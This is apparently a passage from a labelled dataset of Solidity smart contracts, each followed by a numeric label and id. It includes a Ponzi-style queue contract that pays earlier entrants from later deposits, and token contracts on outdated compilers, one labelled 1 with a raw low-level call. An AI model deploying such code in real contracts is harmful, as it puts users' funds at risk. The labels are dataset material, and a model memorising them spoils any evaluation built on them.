entityStructs[msg.sender].active = true;
entityStructs[msg.sender].vip = false;
if(timetoRegular) {
entityStructs[entityList[shift]].profit += base;
if(entityStructs[entityList[shift]].profit == 2*base) {
exitREG();
}
} else {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].profit += base;
if(entityStructs[vipList[lastVIP]].profit == 2*base) {
exitVIP(vipList[lastVIP]);
}
}
}
function up() internal {
if(joined.sub(exited) < 3) revert("You are too alone to up");
if(!entityStructs[msg.sender].active) revert("You are not in the list");
if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min");
if(!entityStructs[msg.sender].vip) {
uint rowToDelete = entityStructs[msg.sender].listPointer;
address keyToMove = entityList[entityList.length-1];
entityList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
entityList.length--;
entityStructs[msg.sender].update = now;
entityStructs[msg.sender].vip = true;
newVip(msg.sender, true);
devreward += msg.value;
} else if (entityStructs[msg.sender].vip) {
entityStructs[msg.sender].update = now;
delete vipList[entityStructs[msg.sender].listPointer];
newVip(msg.sender, true);
devreward += msg.value;
}
}
function newEntity(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].active = entityData;
entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1;
return true;
}
function exitREG() internal returns(bool success) {
entityStructs[entityList[shift]].active = false;
entityStructs[entityList[shift]].exit = now;
entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) );
devreward += entityStructs[entityList[shift]].profit.mul(10).div(100);
exited++;
delete entityList[shift];
shift++;
if(lastVIPkey() != 9999) {
timetoRegular = false;
}
return true;
}
function newVip(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].vip = entityData;
entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1;
return true;
}
function exitVIP(address entityAddress) internal returns(bool success) {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].active = false;
entityStructs[vipList[lastVIP]].exit = now;
vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) );
devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100);
uint rowToDelete = entityStructs[entityAddress].listPointer;
address keyToMove = vipList[vipList.length-1];
vipList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
vipList.length--;
exited++;
timetoRegular = true;
return true;
}
function lastREGkey() public constant returns(uint) {
if(entityList.length == 0) return 9999;
if(shift == entityList.length) return 9999;
uint limit = entityList.length-1;
for(uint l=limit; l >= 0; l--) {
if(entityList[l] != address(0)) {
return l;
}
}
return 9999;
}
function lastVIPkey() public constant returns(uint) {
if(vipList.length == 0) return 9999;
uint limit = vipList.length-1;
for(uint j=limit; j >= 0; j--) {
if(vipList[j] != address(0)) {
return j;
}
}
return 9999;
}
function checkRemaining() public returns (bool) {
if(now >= timeRemaining.add(startedAt)) {
if(lastVIPkey() != 9999) {
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
entityStructs[vipList[l]].active = false;
entityStructs[vipList[l]].vip = false;
entityStructs[vipList[l]].date = 0;
}
if(l == 0) break;
}
}
if(lastREGkey() != 9999) {
for(uint r = shift; r <= entityList.length-1; r++) {
entityStructs[entityList[r]].active = false;
entityStructs[entityList[r]].date = 0;
}
}
rewardDev();
if(address(this).balance.sub(devreward) > 0) {
if(lastVIPkey() != 9999) {
vipList[lastVIPkey()].transfer(address(this).balance);
}
}
vipList.length=0;
entityList.length=0;
shift = 0;
startedAt = now;
timeRemaining = 24 hours;
timetoRegular = true;
exited = joined = 0;
round++;
return true;
}
uint range = joined.sub(exited).div(100);
if(range != 0) {
timeRemaining = timeRemaining.div(range.mul(2));
}
return false;
}
function rewardDev() public {
dev.transfer(devreward);
devreward = 0;
}
function queueVIP() public view returns (address[]) {
return vipList;
}
function queueREG() public view returns (address[]) {
return entityList;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 42 |
pragma solidity ^0.4.14;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract RawToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function RawToken(
) {
balances[msg.sender] = 42000000;
totalSupply = 42000000;
name = "BBK Tobacco & Foods LLP";
decimals = 18;
symbol = "RAW";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,173 |
pragma solidity ^0.4.25;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
contract RevenueToken is ERC20Mintable {
using SafeMath for uint256;
bool public mintingDisabled;
address[] public holders;
mapping(address => bool) public holdersMap;
mapping(address => uint256[]) public balances;
mapping(address => uint256[]) public balanceBlocks;
mapping(address => uint256[]) public balanceBlockNumbers;
event DisableMinting();
function disableMinting()
public
onlyMinter
{
mintingDisabled = true;
emit DisableMinting();
}
function mint(address to, uint256 value)
public
onlyMinter
returns (bool)
{
require(!mintingDisabled);
bool minted = super.mint(to, value);
if (minted) {
addBalanceBlocks(to);
if (!holdersMap[to]) {
holdersMap[to] = true;
holders.push(to);
}
}
return minted;
}
function transfer(address to, uint256 value)
public
returns (bool)
{
bool transferred = super.transfer(to, value);
if (transferred) {
addBalanceBlocks(msg.sender);
addBalanceBlocks(to);
if (!holdersMap[to]) {
holdersMap[to] = true;
holders.push(to);
}
}
return transferred;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
require(0 == value || 0 == allowance(msg.sender, spender));
return super.approve(spender, value);
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
bool transferred = super.transferFrom(from, to, value);
if (transferred) {
addBalanceBlocks(from);
addBalanceBlocks(to);
if (!holdersMap[to]) {
holdersMap[to] = true;
holders.push(to);
}
}
return transferred;
}
function balanceBlocksIn(address account, uint256 startBlock, uint256 endBlock)
public
view
returns (uint256)
{
require(startBlock < endBlock);
require(account != address(0));
if (balanceBlockNumbers[account].length == 0 || endBlock < balanceBlockNumbers[account][0])
return 0;
uint256 i = 0;
while (i < balanceBlockNumbers[account].length && balanceBlockNumbers[account][i] < startBlock)
i++;
uint256 r;
if (i >= balanceBlockNumbers[account].length)
r = balances[account][balanceBlockNumbers[account].length - 1].mul(endBlock.sub(startBlock));
else {
uint256 l = (i == 0) ? startBlock : balanceBlockNumbers[account][i - 1];
uint256 h = balanceBlockNumbers[account][i];
if (h > endBlock)
h = endBlock;
h = h.sub(startBlock);
r = (h == 0) ? 0 : balanceBlocks[account][i].mul(h).div(balanceBlockNumbers[account][i].sub(l));
i++;
while (i < balanceBlockNumbers[account].length && balanceBlockNumbers[account][i] < endBlock) {
r = r.add(balanceBlocks[account][i]);
i++;
}
if (i >= balanceBlockNumbers[account].length)
r = r.add(
balances[account][balanceBlockNumbers[account].length - 1].mul(
endBlock.sub(balanceBlockNumbers[account][balanceBlockNumbers[account].length - 1])
)
);
else if (balanceBlockNumbers[account][i - 1] < endBlock)
r = r.add(
balanceBlocks[account][i].mul(
endBlock.sub(balanceBlockNumbers[account][i - 1])
).div(
balanceBlockNumbers[account][i].sub(balanceBlockNumbers[account][i - 1])
)
);
}
return r;
}
function balanceUpdatesCount(address account)
public
view
returns (uint256)
{
return balanceBlocks[account].length;
}
function holdersCount()
public
view
returns (uint256)
{
return holders.length;
}
function holdersByIndices(uint256 low, uint256 up, bool posOnly)
public
view
returns (address[])
{
require(low <= up);
up = up > holders.length - 1 ? holders.length - 1 : up;
uint256 length = 0;
if (posOnly) {
for (uint256 i = low; i <= up; i++)
if (0 < balanceOf(holders[i]))
length++;
} else
length = up - low + 1;
address[] memory _holders = new address[](length);
uint256 j = 0;
for (i = low; i <= up; i++)
if (!posOnly || 0 < balanceOf(holders[i]))
_holders[j++] = holders[i];
return _holders;
}
function addBalanceBlocks(address account)
private
{
uint256 length = balanceBlockNumbers[account].length;
balances[account].push(balanceOf(account));
if (0 < length)
balanceBlocks[account].push(
balances[account][length - 1].mul(
block.number.sub(balanceBlockNumbers[account][length - 1])
)
);
else
balanceBlocks[account].push(0);
balanceBlockNumbers[account].push(block.number);
}
}
library SafeMathUintLib {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function clamp(uint256 a, uint256 min, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : ((a < min) ? min : a);
}
function clampMin(uint256 a, uint256 min)
public
pure
returns (uint256)
{
return (a < min) ? min : a;
}
function clampMax(uint256 a, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : a;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract TokenMultiTimelock is Ownable {
using SafeERC20 for IERC20;
struct Release {
uint256 earliestReleaseTime;
uint256 amount;
uint256 blockNumber;
bool done;
}
IERC20 public token;
address public beneficiary;
Release[] public releases;
uint256 public totalLockedAmount;
uint256 public executedReleasesCount;
event SetTokenEvent(IERC20 token);
event SetBeneficiaryEvent(address beneficiary);
event DefineReleaseEvent(uint256 earliestReleaseTime, uint256 amount, uint256 blockNumber);
event SetReleaseBlockNumberEvent(uint256 index, uint256 blockNumber);
event ReleaseEvent(uint256 index, uint256 blockNumber, uint256 earliestReleaseTime,
uint256 actualReleaseTime, uint256 amount);
constructor(address deployer)
Ownable(deployer)
public
{
}
function setToken(IERC20 _token)
public
onlyOperator
notNullOrThisAddress(_token)
{
require(address(token) == address(0));
token = _token;
emit SetTokenEvent(token);
}
function setBeneficiary(address _beneficiary)
public
onlyOperator
notNullAddress(_beneficiary)
{
beneficiary = _beneficiary;
emit SetBeneficiaryEvent(beneficiary);
}
function defineReleases(uint256[] earliestReleaseTimes, uint256[] amounts, uint256[] releaseBlockNumbers)
onlyOperator
public
{
require(earliestReleaseTimes.length == amounts.length);
require(earliestReleaseTimes.length >= releaseBlockNumbers.length);
require(address(token) != address(0));
for (uint256 i = 0; i < earliestReleaseTimes.length; i++) {
totalLockedAmount += amounts[i];
require(token.balanceOf(address(this)) >= totalLockedAmount);
uint256 blockNumber = i < releaseBlockNumbers.length ? releaseBlockNumbers[i] : 0;
releases.push(Release(earliestReleaseTimes[i], amounts[i], blockNumber, false));
emit DefineReleaseEvent(earliestReleaseTimes[i], amounts[i], blockNumber);
}
}
function releasesCount()
public
view
returns (uint256)
{
return releases.length;
}
function setReleaseBlockNumber(uint256 index, uint256 blockNumber)
public
onlyBeneficiary
{
require(!releases[index].done);
releases[index].blockNumber = blockNumber;
emit SetReleaseBlockNumberEvent(index, blockNumber);
}
function release(uint256 index)
public
onlyBeneficiary
{
Release storage _release = releases[index];
require(0 < _release.amount);
require(!_release.done);
require(block.timestamp >= _release.earliestReleaseTime);
_release.done = true;
if (0 == _release.blockNumber)
_release.blockNumber = block.number;
executedReleasesCount++;
totalLockedAmount -= _release.amount;
token.safeTransfer(beneficiary, _release.amount);
emit ReleaseEvent(index, _release.blockNumber, _release.earliestReleaseTime, block.timestamp, _release.amount);
}
modifier onlyBeneficiary() {
require(msg.sender == beneficiary);
_;
}
}
contract RevenueTokenManager is TokenMultiTimelock {
using SafeMathUintLib for uint256;
uint256[] public totalReleasedAmounts;
uint256[] public totalReleasedAmountBlocks;
constructor(address deployer)
public
TokenMultiTimelock(deployer)
{
}
function release(uint256 index)
public
onlyBeneficiary
{
super.release(index);
_addAmountBlocks(index);
}
function releasedAmountBlocksIn(uint256 startBlock, uint256 endBlock)
public
view
returns (uint256)
{
require(startBlock < endBlock);
if (executedReleasesCount == 0 || endBlock < releases[0].blockNumber)
return 0;
uint256 i = 0;
while (i < executedReleasesCount && releases[i].blockNumber < startBlock)
i++;
uint256 r;
if (i >= executedReleasesCount)
r = totalReleasedAmounts[executedReleasesCount - 1].mul(endBlock.sub(startBlock));
else {
uint256 l = (i == 0) ? startBlock : releases[i - 1].blockNumber;
uint256 h = releases[i].blockNumber;
if (h > endBlock)
h = endBlock;
h = h.sub(startBlock);
r = (h == 0) ? 0 : totalReleasedAmountBlocks[i].mul(h).div(releases[i].blockNumber.sub(l));
i++;
while (i < executedReleasesCount && releases[i].blockNumber < endBlock) {
r = r.add(totalReleasedAmountBlocks[i]);
i++;
}
if (i >= executedReleasesCount)
r = r.add(
totalReleasedAmounts[executedReleasesCount - 1].mul(
endBlock.sub(releases[executedReleasesCount - 1].blockNumber)
)
);
else if (releases[i - 1].blockNumber < endBlock)
r = r.add(
totalReleasedAmountBlocks[i].mul(
endBlock.sub(releases[i - 1].blockNumber)
).div(
releases[i].blockNumber.sub(releases[i - 1].blockNumber)
)
);
}
return r;
}
function releaseBlockNumbers(uint256 index)
public
view
returns (uint256)
{
return releases[index].blockNumber;
}
function _addAmountBlocks(uint256 index)
private
{
if (0 < index) {
totalReleasedAmounts.push(
totalReleasedAmounts[index - 1] + releases[index].amount
);
totalReleasedAmountBlocks.push(
totalReleasedAmounts[index - 1].mul(
releases[index].blockNumber.sub(releases[index - 1].blockNumber)
)
);
} else {
totalReleasedAmounts.push(releases[index].amount);
totalReleasedAmountBlocks.push(0);
}
}
} | 0 | 204 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] _tokens) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
ERC20Basic token = ERC20Basic(_tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract IndividualLockableToken is PausableToken{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balances[_holder] >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balances[_holder];
return balances[_holder].sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
